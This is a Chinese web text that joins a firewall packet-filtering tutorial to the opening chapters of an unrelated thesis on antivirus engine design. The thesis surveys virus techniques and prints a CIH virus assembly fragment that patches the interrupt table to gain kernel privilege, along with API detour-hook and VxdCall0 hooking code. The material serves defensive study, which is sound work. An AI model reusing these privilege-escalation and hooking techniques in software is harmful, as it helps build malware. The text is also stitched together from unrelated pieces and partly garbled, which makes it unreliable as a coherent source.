比如,默认的telnet服务连接端口号是23。假如我们不许PC客户机建立对UNIX计算机(在这时我们当它是服务器)的telnet连接,那么我们只需命令防火墙检查发送目标是UNIX服务器的数据包,把其中具有23目标端口号的包过滤就行了。这样,我们把IP地址和目标服务器TCP/UDP端口结合起来不就可以作为过滤标准来实现相当可靠的防火墙了吗?不,没这么简单。 客户机也有TCP/UDP端口 TCP/IP是一种端对端协议,每个网络节点都具有唯一的地址。网络节点的应用层也是这样,处于应用层的每个应用程序和服务都具有自己的对应“地址”,也就是端口号。地址和端口都具备了才能建立客户机和服务器的各种应用之间的有效通信联系。比如,telnet服务器在端口23侦听入站连接。同时telnet客户机也有一个端口号,否则客户机的IP栈怎么知道某个数据包是属于哪个应用程序的呢? 由于历史的原因,几乎所有的TCP/IP客户程序都使用大于1023的随机分配端口号。只有UNIX计算机上的root用户才可以访问1024以下的端口,而这些端口还保留为服务器上的服务所用。所以,除非我们让所有具有大于1023端口号的数据包进入网络,否则各种网络连接都没法正常工作。 这对防火墙而言可就麻烦了,如果阻塞入站的全部端口,那么所有的客户机都没法使用网络资源。因为服务器发出响应外部连接请求的入站(就是进入防火墙的意思)数据包都没法经过防火墙的入站过滤。反过来,打开所有高于1023的端口就可行了吗?也不尽然。由于很多服务使用的端口都大于1023,比如X client、基于RPC的NFS服务以及为数众多的非UNIX IP产品等(NetWare/IP)就是这样的。那么让达到1023端口标准的数据包都进入网络的话网络还能说是安全的吗?连这些客户程序都不敢说自己是足够安全的。
双向过滤 OK,咱们换个思路。我们给防火墙这样下命令:已知服务的数据包可以进来,其他的全部挡在防火墙之外。比如,如果你知道用户要访问Web服务器,那就只让具有源端口号80的数据包进入网络:
不过新问题又出现了。首先,你怎么知道你要访问的服务器具有哪些正在运行的端口号呢? 象HTTP这样的服务器本来就是可以任意配置的,所采用的端口也可以随意配置。如果你这样设置防火墙,你就没法访问哪些没采用标准端口号的的网络站点了!反过来,你也没法保证进入网络的数据包中具有端口号80的就一定来自Web服务器。有些黑客就是利用这一点制作自己的入侵工具,并让其运行在本机的80端口! 检查ACK位 源地址我们不相信,源端口也信不得了,这个不得不与黑客共舞的疯狂世界上还有什么值得我们信任呢?还好,事情还没到走投无路的地步。对策还是有的,不过这个办法只能用于TCP协议。 TCP是一种可靠的通信协议,“可靠”这个词意味着协议具有包括纠错机制在内的一些特殊性质。为了实现其可靠性,每个TCP连接都要先经过一个“握手”过程来交换连接参数。还有,每个发送出去的包在后续的其他包被发送出去之前必须获得一个确认响应。但并不是对每个TCP包都非要采用专门的ACK包来响应,实际上仅仅在TCP包头上设置一个专门的位就可以完成这个功能了。所以,只要产生了响应包就要设置ACK位。连接会话的第一个包不用于确认,所以它就没有设置ACK位,后续会话交换的TCP包就要设置ACK位了。
举个例子,PC向远端的Web服务器发起一个连接,它生成一个没有设置ACK位的连接请求包。当服务器响应该请求时,服务器就发回一个设置了ACK位的数据包,同时在包里标记从客户机所收到的字节数。然后客户机就用自己的响应包再响应该数据包,这个数据包也设置了ACK位并标记了从服务器收到的字节数。通过监视ACK位,我们就可以将进入网络的数据限制在响应包的范围之内。于是,远程系统根本无法发起TCP连接但却能响应收到的数据包了。 这套机制还不能算是无懈可击,简单地举个例子,假设我们有台内部Web服务器,那么端口80就不得不被打开以便外部请求可以进入网络。还有,对UDP包而言就没法监视ACK位了,因为UDP包压根就没有ACK位。还有一些TCP应用程序,比如FTP,连接就必须由这些服务器程序自己发起。 FTP带来的困难 一般的Internet服务对所有的通信都只使用一对端口号,FTP程序在连接期间则使用两对端口号。第一对端口号用于FTP的“命令通道”提供登录和执行命令的通信链路,而另一对端口号则用于FTP的“数据通道”提供客户机和服务器之间的文件传送。 在通常的FTP会话过程中,客户机首先向服务器的端口21(命令通道)发送一个TCP连接请求,然后执行LOGIN、DIR等各种命令。一旦用户请求服务器发送数据,FTP服务器就用其20端口 (数据通道)向客户的数据端口发起连接。问题来了,如果服务器向客户机发起传送数据的连接,那么它就会发送没有设置ACK位的数据包,防火墙则按照刚才的规则拒绝该数据包同时也就意味着数据传送没戏了。通常只有高级的、也就是够聪明的防火墙才能看出客户机刚才告诉服务器的端口,然后才许可对该端口的入站连接。 UDP端口过滤 好了,现在我们回过头来看看怎么解决UDP问题。刚才说了,UDP包没有ACK位所以不能进行ACK位过滤。UDP 是发出去不管的“不可靠”通信,这种类型的服务通常用于广播、路由、多媒体等广播形式的通信任务。NFS、DNS、WINS、NetBIOS-over-TCP/IP和 NetWare/IP都使用UDP。 看来最简单的可行办法就是不允许建立入站UDP连接。防火墙设置为只许转发来自内部接口的UDP包,来自外部接口的UDP包则不转发。现在的问题是,比方说,DNS名称解析请求就使用UDP,如果你提供DNS服务,至少得允许一些内部请求穿越防火墙。还有IRC这样的客户程序也使用UDP,如果要让你的用户使用它,就同样要让他们的UDP包进入网络。我们能做的就是对那些从本地到可信任站点之间的连接进行限制。但是,什么叫可信任!如果黑客采取地址欺骗的方法不又回到老路上去了吗? 有些新型路由器可以通过“记忆”出站UDP包来解决这个问题:如果入站UDP包匹配最近出站UDP包的目标地址和端口号就让它进来。如果在内存中找不到匹配的UDP包就只好拒绝它了!但是,我们如何确信产生数据包的外部主机就是内部客户机希望通信的服务器呢?如果黑客诈称DNS服务器的地址,那么他在理论上当然可以从附着DNS的UDP端口发起攻击。只要你允许DNS查询和反馈包进入网络这个问题就必然存在。办法是采用代理服务器。 所谓代理服务器,顾名思义就是代表你的网络和外界打交道的服务器。代理服务器不允许存在任何网络内外的直接连接。它本身就提供公共和专用的DNS、邮件服务器等多种功能。代理服务器重写数据包而不是简单地将其转发了事。给人的感觉就是网络内部的主机都站在了网络的边缘,但实际上他们都躲在代理的后面,露面的不过是代理这个假面具。 小结 IP地址可能是假的,这是由于IP协议的源路有机制所带来的,这种机制告诉路由器不要为数据包采用正常的路径,而是按照包头内的路径传送数据包。于是黑客就可以使用系统的IP地址获得返回的数据包。有些高级防火墙可以让用户禁止源路由。通常我们的网络都通过一条路径连接ISP,然后再进入Internet。这时禁用源路由就会迫使数据包必须沿着正常的路径返回。 还有,我们需要了解防火墙在拒绝数据包的时候还做了哪些其他工作。比如,防火墙是否向连接发起系统发回了“主机不可到达”的ICMP消息?或者防火墙真没再做其他事?这些问题都可能存在安全隐患。ICMP“主机不可达”消息会告诉黑客“防火墙专门阻塞了某些端口”,黑客立即就可以从这个消息中闻到一点什么气味。如果ICMP“主机不可达”是通信中发生的错误,那么老实的系统可能就真的什么也不发送了。反过来,什么响应都没有却会使发起通信的系统不断地尝试建立连接直到应用程序或者协议栈超时,结果最终用户只能得到一个错误信息。当然这种方式会让黑客无法判断某端口到底是关闭了还是没有使用。
关键字:病毒,虚拟机,实时监控
文档内容目录
1.绪 论1. 1课题背景1.2当今病毒技术的发展状况1.2.1系统核心态病毒1.2.2驻留病毒1.2.3截获系统操作1.2.4加密变形病毒1.2.5反跟踪/反虚拟执行病毒1.2.6直接API调用1.2.7病毒隐藏1.2.8病毒特殊感染法2.虚拟机查毒2.1虚拟机概论2. 2加密变形病毒2.3虚拟机实现技术详解2.4虚拟机代码剖析2.4.1不依赖标志寄存器指令模拟函数的分析2.4.2依赖标志寄存器指令模拟函数的分析2.5反虚拟机技术3.病毒实时监控3.1实时监控概论3.2病毒实时监控实现技术概论3.3WIN9X下的病毒实时监控3.3.1实现技术详解3.3.2程序结构与流程3.3.3HOOKSYS.VXD逆向工程代码剖析3.4WINNT/2000下的病毒实时监控3.4.1实现技术详解3.4.2程序结构与流程3.4.3HOOKSYS.SYS逆向工程代码剖析结论致谢主要参考文献
本论文研究的主要内容正如其题目所示是设计并编写一个先进的反病毒引擎。首先需要对这“先进”二字做一个解释,何为“先进”?众所周知,传统的反病毒软件使用的是基于特征码的静态扫描技术,即在文件中寻找特定十六进制串,如果找到,就可判定文件感染了某种病毒。但这种方法在当今病毒技术迅猛发展的形势下已经起不到很好的作用了。原因我会在以下的章节中具体描述。因此本论文将不对杀毒引擎中的特征码扫描和病毒代码清除模块做分析。我们要讨论的是为应付先进的病毒技术而必需的两大反病毒技术--虚拟机和实时监控技术。具体什么是虚拟机,什么是实时监控,我会在相应的章节中做详尽的介绍。这里我要说明的一点是,这两项技术虽然在前人的工作中已有所体现(被一些国内外先进的反病毒厂家所使用),但出于商业目的,这些技术并没有被完全公开,所以你无论从书本文献还是网路上的资料中都无法找到关于这些技术的内幕。而我会在相关的章节中剖析大量的程序源码(主要是2.4节中的一个完整的虚拟机源码)或是逆向工程代码(3.3.3节和3.4.3节中三个我逆向工程的某著名反病毒软件的实时监控驱动程序及客户程序的反汇编代码),并同时公布一些我个人挖掘的操作系统内部未公开的机制和数据结构。另外我在文中会大量地提到或引用一些关于系统底层奥秘的大师级经典图书,这算是给喜爱系统级编程但又苦于找不到合适教材的朋友开了一份书单。下面就开始进入论文的正题。1.1课题背景
本论文涉及的两个主要技术,也是当今反病毒界使用的最为先进的技术中的两个,究竟是作何而用的呢?首先说说虚拟机技术,它主要是为查杀加密变形病毒而设计的。简单地来说,所谓虚拟机并不是个虚拟的机器,说得更合适一些应该是个虚拟CPU(用软件实现的CPU),只不过病毒界都这么叫而已。它的作用主要是模拟INTEL X86 CPU的工作过程来解释执行可执行代码,与真正的CPU一样能够取指,译码并执行相应机器指令规定的操作。当然什么是加密变形病毒,它们为什么需要被虚拟执行以及怎样虚拟执行等问题会在合适的章节中得到解答。再说另一个重头戏--实时监控技术,它的用处更为广泛,不仅局限于查杀病毒。被实时监控的对象也很多,如中断(Intmon),页面错误(Pfmon),磁盘访问(Diskmon)等等。用于杀毒的监控主要是针对文件访问,在你要对一个文件进行访问时,实时监控会先检查文件是否为带毒文件,若是,则由用户选择是清除病毒还是取消此次操作请求。这样就给了用户一个相对安全的执行环境。但同时,实时监控会使系统性能有所下降,不少杀毒软件的用户都抱怨他们的实时监控让系统变得奇慢无比而且不稳定。这就给我们的设计提出了更高的要求,即怎样在保证准确拦截文件操作的同时,让实时监控占用的系统资源更少。我会在病毒实时监控一节中专门讨论这个问题。这两项技术在国内外先进的反病毒厂家的产品中都有使用,虽然它们的源代码没有公开,但我们还是可以通过逆向工程的方法来窥视一下它们的设计思路。其实你用一个十六进制编辑器来打开它们的可执行文件,也许就会看到一些没有剥掉的调试符号、变量名字或输出信息,这些蛛丝马迹对于理解代码的意图大有裨益。同时,在反病毒软件的安装目录中后缀为.VXD或.SYS就是执行实时监控的驱动程序,可以拿来逆向一下(参看我在后面分析驱动源代码中的讨论)。相信至此,我们对这两项技术有了一个大体的了解。后面我们将深入到技术的细节中去。 1.2当今病毒技术的发展状况
要讨论怎样反病毒,就必须从病毒技术本身的讨论开始。正是所谓“知己知彼,百战不殆”。其实,我认为目前规定研究病毒技术属于违法行为存在着很大的弊端。很难想象一个毫无病毒写作经验的人会成为杀毒高手。据我了解,目前国内一些著名反病毒软件公司的研发队伍中不乏病毒写作高手。只不过他们将同样的技术用到了正道上,以‘毒’攻‘毒’。所以我希望这篇论文能起到抛砖引玉的作用,期待着有更多的人会将病毒技术介绍给大众。当今的病毒与DOS和WIN3.1时代下的从技术角度上看有很多不同。我认为最大的转变是:引导区病毒减少了,而脚本型病毒开始泛滥。原因是在当今的操作系统下直接改写磁盘的引导区会有一定的难度(DOS则没有保护,允许调用INT13直接写盘),而且引导区的改动很容易被发现,所以很少有人再写了;而脚本病毒以其传播效率高且容易编写而深得病毒作者的青睐。当然由于这两种病毒用我上面说过的基于特征码的静态扫描技术就可以查杀,所以不在我们的讨论之列。我要讨论的技术主要来自于二进制外壳型病毒(感染文件的病毒),并且这些技术大都和操作系统底层机制或386以上CPU的保护模式相关,所以值得研究。大家都知道DOS下的外壳型病毒主要感染16位的COM或EXE文件,由于DOS没有保护,它们能够轻松地进行驻留,减少可用内存(通过修改MCB链),修改系统代码,拦截系统服务或中断。而到了WIN9X和WINNT/2000时代,想写个运行其上的32位WINDOWS病毒绝非易事。由于页面保护,你不可能修改系统的代码页。由于I/O许可位图中的规定,你也不能进行直接端口访问。在WINDOWS中你不可能象在DOS中那样通过截获INT21H来拦截所有文件操作。总之,你以一个用户态程序运行,你的行为将受到操作系统严格的控制,不可能再象DOS下那样为所欲为了。另外值得一提的是,WINDOWS下采用的可执行文件格式和DOS下的EXE截然不同(普通程序采用PE格式,驱动程序采用LE),所以病毒的感染文件的难度增大了(PE和LE比较复杂,中间分了若干个节,如果感染错了,将导致文件不能继续执行)。因为当今病毒的新技术太多,我不可能将它们逐一详细讨论,于是就选取了一些重要并具有代表性的在本章的各小节中进行讨论。 1.2.1系统核心态病毒
在介绍什么是系统核心态病毒之前,有必要讨论一下核心态与用户态的概念。其实只要随便翻开一本关于386保护模式汇编程序设计的教科书,都可以找到对这两个概念的讲述。386及以上的CPU实现了4个特权级模式(WINDOWS只用到了其中两个),其中特权级0(Ring0)是留给操作系统代码,设备驱动程序代码使用的,它们工作于系统核心态;而特权极3(Ring3)则给普通的用户程序使用,它们工作在用户态。运行于处理器核心态的代码不受任何的限制,可以自由地访问任何有效地址,进行直接端口访问。而运行于用户态的代码则要受到处理器的诸多检查,它们只能访问映射其地址空间的页表项中规定的在用户态下可访问页面的虚拟地址,且只能对任务状态段(TSS)中I/O许可位图(I/O Permission Bitmap)中规定的可访问端口进行直接访问(此时处理器状态和控制标志寄存器EFLAGS中的IOPL通常为0,指明当前可以进行直接I/O的最低特权级别是Ring0)。以上的讨论只限于保护模式操作系统,象DOS这种实模式操作系统则没有这些概念,其中的所有代码都可被看作运行在核心态。既然运行在核心态有如此之多的优势,那么病毒当然没有理由不想得到Ring0。处理器模式从Ring3向Ring0的切换发生在控制权转移时,有以下两种情况:访问调用门的长转移指令CALL,访问中断门或陷阱门的INT指令。具体的转移细节由于涉及复杂的保护检查和堆栈切换,不再赘述,请参阅相关资料。现代的操作系统通常使用中断门来提供系统服务,通过执行一条陷入指令来完成模式切换,在INTEL X86上这条指令是INT,如在WIN9X下是INT30(保护模式回调),在LINUX下是INT80,在WINNT/2000下是INT2E。用户模式的服务程序(如系统DLL)通过执行一个INTXX来请求系统服务,然后处理器模式将切换到核心态,工作于核心态的相应的系统代码将服务于此次请求并将结果传给用户程序。下面就举例子说明病毒进入系统核心态的方法。在WIN9X下进程虚拟地址空间中映射共享系统代码的部分(3G--4G)中除了最上面4M页表有页面保护外其它地方可由用户程序读写。如果你用Softice(系统级调试器)的PAGE命令查看这些地址的页属性,则你会惊奇地发现U RW位,这说明这些地址可从用户态直接读出或写入。这意味着任何一个用户程序都能够在其运行过程中恶意或无意地破坏操作系统代码页。由此病毒就可以在GDT(全局描述符表),LDT(局部描述符表)中随意构造门描述符并借此进入核心态。当然,也不一定要借助门描述,还有许多方法可以得到Ring0。据我所知的方法就不下10余种之多,如通过调用门(Callgate),中断门(Intgate),陷阱门(Trapgate),异常门(Fault),中断请求(IRQs),端口(Ports),虚拟机管理器(VMM),回调(Callback),形式转换(Thunks),设备IO控制(DeviceIOControl),API函数(SetThreadContext) ,中断2E服务(NTKERN.VxD)。由于篇幅的限制我不可能将所有的方法逐一描述清楚,这里我仅选取最具有代表性的CIH病毒1.5版开头的一段代码。
; * 修改IDT以求得核心态特权级 *
; *************************************
push eax
sidt [esp-02h] ;取得IDT表基地址
pop ebx
add ebx, HookExceptionNumber*08h+04h ;ZF = 0
cli ;读取修改系统数据时先禁止中断
mov ebp, [ebx]
mov bp, [ebx-04h] ;取得原来的中断入口地址
lea esi, MyExceptionHook-@1[ecx] ;取得需要工作在Ring0的函数的偏移地址
push esi
mov [ebx-04h], si
shr esi, 16
mov [ebx+02h], si ;设置为新的中断入口地址
pop esi
; *************************************
; * 产生一个异常来进入Ring0 *
; *************************************
int HookExceptionNumber ;产生一个异常
当然,后面还有恢复原来中断入口地址和异常处理帧的代码。
刚才所讨论的技术仅限于WIN9X,想在WINNT/2000下进入Ring0则没有这么容易。主要的原因是WINNT/2000没有上述的漏洞,它们的系统代码页面(2G--4G)有很好的页保护。大于0x80000000的虚拟地址对于用户程序是不可见的。如果你用Softice的PAGE命令查看这些地址的页属性,你会发现S位,这说明这些地址仅可从核心态访问。所以想在IDT,GDT随意构造描述符,运行时修改内核是根本做不到的。所能做的仅是通过加载一个驱动程序,使用它来做你在Ring3下做不到的事情。病毒可以在它们加载的驱动中修改内核代码,或为病毒本身创建调用门(利用NT由Ntoskrnl.exe导出的未公开的系统服务KeI386AllocateGdtSelectors,KeI386SetGdtSelector,KeI386ReleaseGdtSelectors)。如Funlove病毒就利用驱动来修改系统文件(Ntoskrnl.exe,Ntldr)以绕过安全检查。但这里面有两个问题,其一是驱动程序从哪里来,现代病毒普遍使用一个称为“Drop”的技术,即在病毒体本身包含驱动程序二进制码(可以进行压缩或动态构造文件头),在病毒需要使用时,动态生成驱动程序并将它们扔到磁盘上,然后马上通过在SCM(服务控制管理器)注册并最终调用StartService来使驱动程序得以运行;其二是加载一个驱动程序需要管理员身份,普通帐号在调用上述的加载函数时会返回失败(安全子系统要检查用户的访问令牌(Token)中有无SeLoadDriverPrivilege特权),但多数用户在大多时候登录时会选择管理员身份,否则连病毒实时监控驱动也同样无法加载,所以留给病毒的机会还是很多的。 1.2.2驻留病毒
驻留病毒是指那些在内存中寻找合适的页面并将病毒自身拷贝到其中且在系统运行期间能够始终保持病毒代码的存在。驻留病毒比那些直接感染(Direct-action)型病毒更具隐蔽性,它通常要截获某些系统操作来达到感染传播的目的。进入了核心态的病毒可以利用系统服务来达到此目的,如CIH病毒通过调用一个由VMM导出的服务VMMCALL _PageAllocate在大于0xC0000000的地址上分配一块页面空间。而处于用户态的程序要想在程序退出后仍驻留代码的部分于内存中似乎是不可能的,因为无论用户程序分配何种内存都将作为进程占用资源的一部分,一旦进程结束,所占资源将立即被释放。所以我们要做的是分配一块进程退出后仍可保持的内存。病毒写作小组29A的成员GriYo 运用的一个技术很有创意:他通过CreateFileMappingA 和MapViewOfFile创建了一个区域对象并映射它的一个视口到自己的地址空间中去,并把病毒体搬到那里,由于文件映射所在的虚拟地址处于共享区域(能够被所有进程看到,即所有进程用于映射共享区内虚拟地址的页表项全都指向相同的物理页面),所以下一步他通过向Explorer.exe中注入一段代码(利用WriteProcessMemory来向其它进程的地址空间写入数据),而这段代码会从Explorer.exe的地址空间中再次申请打开这个文件映射。如此一来,即便病毒退出,但由于Explorer.exe还对映射页面保持引用,所以一份病毒体代码就一直保持在可以影响所有进程的内存页面中直至Explorer.exe退出。 另外还可以通过修改系统动态连接模块(DLL)来进行驻留。WIN9X下系统DLL(如Kernel32.dll 映射至BFF70000)处于系统共享区域(2G-3G),如果在其代码段空隙中写入一小段病毒代码则可以影响其它所有进程。但Kernel32.dll的代码段在用户态是只能读不能写的。所以必须先通过特殊手段修改其页保护属性;而在WINNT/2000下系统DLL所在页面被映射到进程的私有空间(如Kernel32.dll 映射至77ED0000)中,并具有写时拷贝属性,即没有进程试图写入该页面时,所有进程共享这个页面;而当一个进程试图写入该页面时,系统的页面错误处理代码将收到处理器的异常,并检查到该异常并非访问违例,同时分配给引发异常的进程一个新页面,并拷贝原页面内容于其上且更新进程的页表以指向新分配的页。这种共享内存的优化给病毒的写作带来了一定的麻烦,病毒不能象在WIN9X下那样仅修改Kernel32.dll一处代码便可一劳永逸。它需要利用WriteProcessMemory来向每个进程映射Kernel32.dll的地址写入病毒代码,这样每个进程都会得到病毒体的一个副本,这在病毒界被称为多进程驻留或每进程驻留(Muti-Process Residence or Per-Process Residence )。 1.2.3截获系统操作
截获系统操作是病毒惯用的伎俩。DOS时代如此,WINDOWS时代也不例外。在DOS下,病毒通过在中断向量表中修改INT21H的入口地址来截获DOS系统服务(DOS利用INT21H来提供系统调用,其中包括大量的文件操作)。而大部分引导区病毒会接挂INT13H(提供磁盘操作服务的BIOS中断)从而取得对磁盘访问的控制。WINDOWS下的病毒同样找到了钩挂系统服务的办法。比较典型的如CIH病毒就是利用了IFSMGR.VXD(可安装文件系统)提供的一个系统级文件钩子来截获系统中所有文件操作,我会在相关章节中详细讨论这个问题,因为WIN9X下的实时监控也主要利用这个服务。除此之外,还有别的方法。但效果没有这个系统级文件钩子好,主要是不够底层,会丢失一些文件操作。其中一个方法是利用APIHOOK,钩挂API函数。其实系统中并没有现成的这种服务,有一个SetWindowsHookEx可以钩住鼠标消息,但对截获API函数则无能为力。我们能做的是自己构造这样的HOOK。方法其实很简单:比如你要截获Kernel32.dll导出的函数CreateFile,只须在其函数代码的开头(BFF7XXXX)加入一个跳转指令到你的钩子函数的入口,在你的函数执行完后再跳回来。如下图所示: ;; Target Function(要截获的目标函数)
……
TargetFunction:(要截获的目标函数入口)
jmp DetourFunction(跳到钩子函数,5个字节长的跳转指令)
TargetFunction+5:
push edi
……
;; Trampoline(你的钩子函数)
……
TrampolineFunction:(你的钩子函数执行完后要返回原函数的地方)
push ebp
mov ebp,esp
push ebx
push esi(以上几行是原函数入口处的几条指令,共5个字节)
jmp TargetFunction+5(跳回原函数)
……
但这种方法截获的仅仅是很小一部分文件打开操作。在WIN9X下还有一个鲜为人知的截获文件操作的办法,说起来这应该算是WIN9X的一大后门。它就是Kernel32.dll中一个未公开的叫做VxdCall0的API函数。反汇编这个函数的代码如下:mov eax,dword ptr [esp+00000004h] ;取得服务代号pop dword ptr [esp] ;堆栈修正call fword ptr cs:[BFFC9004] ;通过一个调用门调用3B段某处的代码如果我们继续跟踪下去,则会看到:003B:XXXXXXXX int 30h ;这是个用以陷入VWIN32.VXD的保护模式回调有关VxdCall的详细内容,请参看Matt Pietrek的《Windows 95 System Programming Secrets》。当服务代号为0X002A0010时,保护模式回调会陷入VWIN32.VXD中一个叫做VWIN32_Int21Dispatch的服务。这正说明了WIN9X还在依赖于MSDos,尽管微软声称WIN9X不再依赖于MSDos。调用规范如下:my_int21h:push ecx
push eax ;类似DOS下INT21H的AX中传入的功能号
push 002A0010h
call dword ptr [ebp+a_VxDCall]
ret
我们可以将上面VxdCall0函数的入口处第三条远调用指令访问的Kernel32.dll数据段中用户态可写地址BFFC9004Υ娲⒌?FWORD'六个字节改为指向我们自己钩子函数的地址,并在钩子中检查传入服务号和功能号来确定是否是请求VWIN32_Int21Dispatch中的某个文件服务。著名的HPS病毒就利用了这个技术在用户态下直接截获系统中的文件操作,但这种方法截获的也仅仅是一小部分文件操作。